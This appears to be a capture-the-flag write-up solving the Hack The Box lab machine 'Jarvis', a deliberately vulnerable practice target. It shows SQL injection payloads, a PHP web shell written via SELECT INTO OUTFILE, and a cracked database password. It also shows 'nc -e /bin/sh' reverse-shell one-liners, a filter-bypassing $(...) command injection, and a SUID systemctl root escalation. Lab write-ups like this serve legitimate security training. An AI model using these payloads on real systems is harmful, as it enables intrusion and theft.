Summary
Jarvis is a medium difficulty Linux machine. It’s named after Tony Stark’s household butler and contains several references to Iron Man’s universe. It’s IP is 10.10.10.143 and today I will show you how I solved this machine.
Ports and services enumeration
As always, we will start enumerating the machine ports using masscan and nmap:
root@PwnedC0ffee:~# masscan -p1-65535,U:1-65535 10.10.10.143 --rate=1000 -e tun0
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-09-22 08:18:33 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.143
Discovered open port 22/tcp on 10.10.10.143
Discovered open port 64999/tcp on 10.10.10.143
root@PwnedC0ffee:~# nmap -sV -sC -p22,80,64999 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-22 04:22 EDT
Nmap scan report for 10.10.10.143
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
So we got two HTTP ports on 80 and 64999 and a SSH server.
We will start enumerating the Web servers on port 80.
Web Enumeration
When we visit http://10.10.10.143, we can see that the hostname is supersecurehotel.htb, so we add it to /etc/hosts.
root@PwnedC0ffee:~# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 PwnedC0ffee
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.143 supersecurehotel.htb
We can go to Rooms where we will see that each room is directly refereced using the parameter cod, which could be a possible injection point.
Modifying the cod parameter, we will see that rooms are referenced using an integer. If we enter a letter, the page will redirect us to the Home tab. However, if we send cod=’, the server will return an empty room frame:
This will lead us to a possible SQL injection. If we try the time-based check payload cod=2 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a), the server will execute the SLEEP(5) command and will take 5 seconds to process our query. It is definitely a SQLi vulnerability.
Web Fuzzing
Before exploiting the SQLi vulnerability, we want to enumerate the web using a directory fuzzer. In this case we will use gobuster.
root@PwnedC0ffee:~# gobuster dir -u http://supersecurehotel.htb -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://supersecurehotel.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/22 05:16:33 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
===============================================================
2020/09/22 05:16:54 Finished
===============================================================
We found an interesting /phpmyadmin directory. If we visit http://supersecurehotel.htb/phpmyadmin/, we will see the following login page:
Since we don’t know the credentials, let’s go back to the SQLi exploitation.
SQLmap
We want to make this fast, so we are going to use SQLmap. However, it looks like a simple Boolean-based SQLi, so it should not be hard to exploit.
root@PwnedC0ffee:~# sqlmap -u "http://supersecurehotel.htb/room.php?cod=2" --batch --dbs
___
__H__
___ ___[)]_____ ___ ___ {1.4.7#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
(...)
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=2 AND 8247=8247
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=2 AND (SELECT 8930 FROM (SELECT(SLEEP(5)))XAeU)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6309 UNION ALL SELECT NULL,CONCAT(0x7171626b71,0x7858516e4b6e455a574a52527a687973706a4b6f50796843664b64726d4a757a4e446864437a7354,0x7162786271),NULL,NULL,NULL,NULL,NULL-- -
---
[04:37:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[04:37:32] [INFO] fetching database names
[04:37:32] [INFO] retrieved: 'hotel'
[04:37:32] [INFO] retrieved: 'information_schema'
[04:37:33] [INFO] retrieved: 'mysql'
[04:37:33] [INFO] retrieved: 'performance_schema'
available databases [4]:
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema
At this point, SQLmap starts to fail. If we go to the website, we will receive the following message:
Hey you have been banned for 90 seconds, don’t be bad
If we take a look at the response headers, we will see the following:
So there is a WAF running on the server… Can we bypass it?
Note: It seems that IronWAF is not perfect. Sometimes SQLmap works, so we can use it knowing that sometimes it will ban us for 90 secons. However, I want to show you a manual exploitation.
Manual SQLi exploitation
First of all we should know the exact number of columns in the vulnerable query. We will use UNION SELECT, and try different numbers of columns until we get a different response from the server.
cod=100 UNION SELECT 1,2,3,4,5,6,7; -- -
This query returns the following:
Now we can navigate through the database using UNION SELECT queries.
cod=100 UNION SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- -
# Databases names: hotel,information_schema,mysql,performance_schema
cod=100 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -
# Tables names on 'mysql' database: column_stats,columns_priv,db,event,func, general_log,gtid_slave_pos,help_category, help_keyword,help_relation,help_topic,host, index_stats,innodb_index_stats,innodb_table_stats, plugin,proc,procs_priv,proxies_priv,roles_mapping, servers,slow_log,table_stats,tables_priv,time_zone, time_zone_leap_second,time_zone_name, time_zone_transition,time_zone_transition_type,user
cod=100 UNION SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- -
# Columns in table 'mysql.user': Host,User,Password,Select_priv,Insert_priv,Update_priv, Delete_priv,Create_priv,Drop_priv,Reload_priv, Shutdown_priv,Process_priv,File_priv,Grant_priv, References_priv,Index_priv,Alter_priv,Show_db_priv, Super_priv,Create_tmp_table_priv,Lock_tables_priv, Execute_priv,Repl_slave_priv,Repl_client_priv, Create_view_priv,Show_view_priv,Create_routine_priv, Alter_routine_priv,Create_user_priv,Event_priv, Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher, x509_issuer,x509_subject,max_questions,max_updates, max_connections,max_user_connections,plugin, authentication_string,password_expired,is_role, default_role,max_statement_time
Once we know the database, table and column that we want to dump, we can obtain the username and the password of the database admin:
http://supersecurehotel.htb/room.php?cod=100%20UNION%20SELECT%201,%20user,%20password,%204,%205,%206,%207%20from%20mysql.user;--%20-
We can use Crackstation to crack the hash and get the password. So credentials are:
DBadmin : imissyou
phpmyadmin
The first thing I though about when I saw the credentials was the previous phpmyadmin webpage. If we try to log in, we will see that the credentials are correct. So we have access to the phpmyadmin console.
Now we have two options: we can use MSF to automatically get a shell, or we can upload a webshell to manually exploit it. Since we are aiming for the OSCP, let’s forget about MSF.
We can upload a reverse shell using the SQL console on phpmyadmin. So we go to the SQL tab on the top of the webpage.
There we can use MariaDB’s SELECT INTO OUTFILE query. The following payload will do the trick.
SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/cmd.php"
We click on “Go”. Now we can visit supersecurehotel.htb/cmd.php?cmd=nc -e /bin/sh 10.10.14.9 9999 and we will get a reverse shell as www-data user.
root@PwnedC0ffee:~# rlwrap nc -nlvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:43800.
whoami
www-data
From www-data to user
First thing I usually do getting a TTY using Python:
python -c 'import pty; pty.spawn("/bin/bash")'
If we read /etc/passwd we will see there is a pepper user.
www-data@jarvis:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
(...)
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
(...)
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
(...)
Let’s check if www-data can run any command as sudo:
www-data@jarvis:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
Yay! We can run simpler.py as pepper. But what is simpler.py?
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
As we can see, there is an exec_ping() function defined. So when we run
python3 simpler.py -p
The program will ask for an IP to ping. If we take a closer look at the exec_ping() function, we will see that it calls os.system(‘ping ‘ + command). The command parameter is not correctly handled, so we can inject code there. There is also a “weak” character filter, so we cannot use the following symbols:
'&', ';', '-', '`', '||', '|'
The most obvious way to execute commands will be using ; <bash command>. However, the filter will block our injection attempt because it contains ;. The way I used to bypass this filter is using an error based injection. The command ping $(id) will fail, and the error message will include the result of the id command.
root@PwnedC0ffee:~# ping $(id)
ping: groups=0(root),997(lxd): Name or service not know
So let’s use it in simpler.py:
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP: $(id)
$(id)
ping: groups=1000(pepper): Temporary failure in name resolution
Great! We can now execute commands as pepper. Let’s get a shell:
www-data@jarvis:/var/www/Admin-Utilities$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP: $(/bin/bash)
pepper@jarvis:/var/www/Admin-Utilities$
This new shell is not working properly. It only shows stderr. We can redirect stdout to our shell using
pepper@jarvis:/var/www/Admin-Utilities$ >&2 /bin/bash
pepper@jarvis:/var/www/Admin-Utilities$ whoami
pepper
We can now read ~/user.txt.
Highway to Root
Enumeration shows the binary /bin/systemctl has enabled the SUID bit, and users from pepper group can execute that binary. systemctl is a tool to manage systemd services. If we create such a service, we can run it with root privileges, since systemctl has the SUID enabled, and the binary owner is root.
First, we create the script we want to run, called evil.sh and located at /home/pepper:
pepper@jarvis:~$ echo -e '#!/bin/bash \n nc -e /bin/sh 10.10.14.9 1337' > evil.sh
Now we need to create a Unit File to define the systemd service. Let’s call it evilservice.service:
pepper@jarvis:~$ printf "[Unit]\nDescription=Evil Service\n\n[Service]\nType=simple\nExecStart=/bin/bash /home/pepper/evil.sh\n[Install]\nWantedBy=multi-user.target\n" > evilservice.service
pepper@jarvis:~$ cat evilservice.service
[Unit]
Description=Evil Service
[Service]
Type=simple
ExecStart=/bin/bash /home/pepper/evil.sh
[Install]
WantedBy=multi-user.target
Now we need execution privileges on evil.sh:
pepper@jarvis:~$ chmod +x evil.sh
Finally, we only have to set up a nc listener on our Kali machine and run:
epper@jarvis:~$ systemctl enable /home/pepper/evilservice.service
Created symlink /etc/systemd/system/multi-user.target.wants/evilservice.service -> /home/pepper/evilservice.service.
Created symlink /etc/systemd/system/evilservice.service -> /home/pepper/evilservice.service.
pepper@jarvis:~$ systemctl start evilservice.service
Now, our nc listener should have received a connection from the victim machine. We can read /root/root.txt.
Jarvis is was interesting, but I found it “easy” to be considered as a medium difficulty machine. If you want to check out a harder machine (but not too much), take a look at my writeup for SneakyMailer!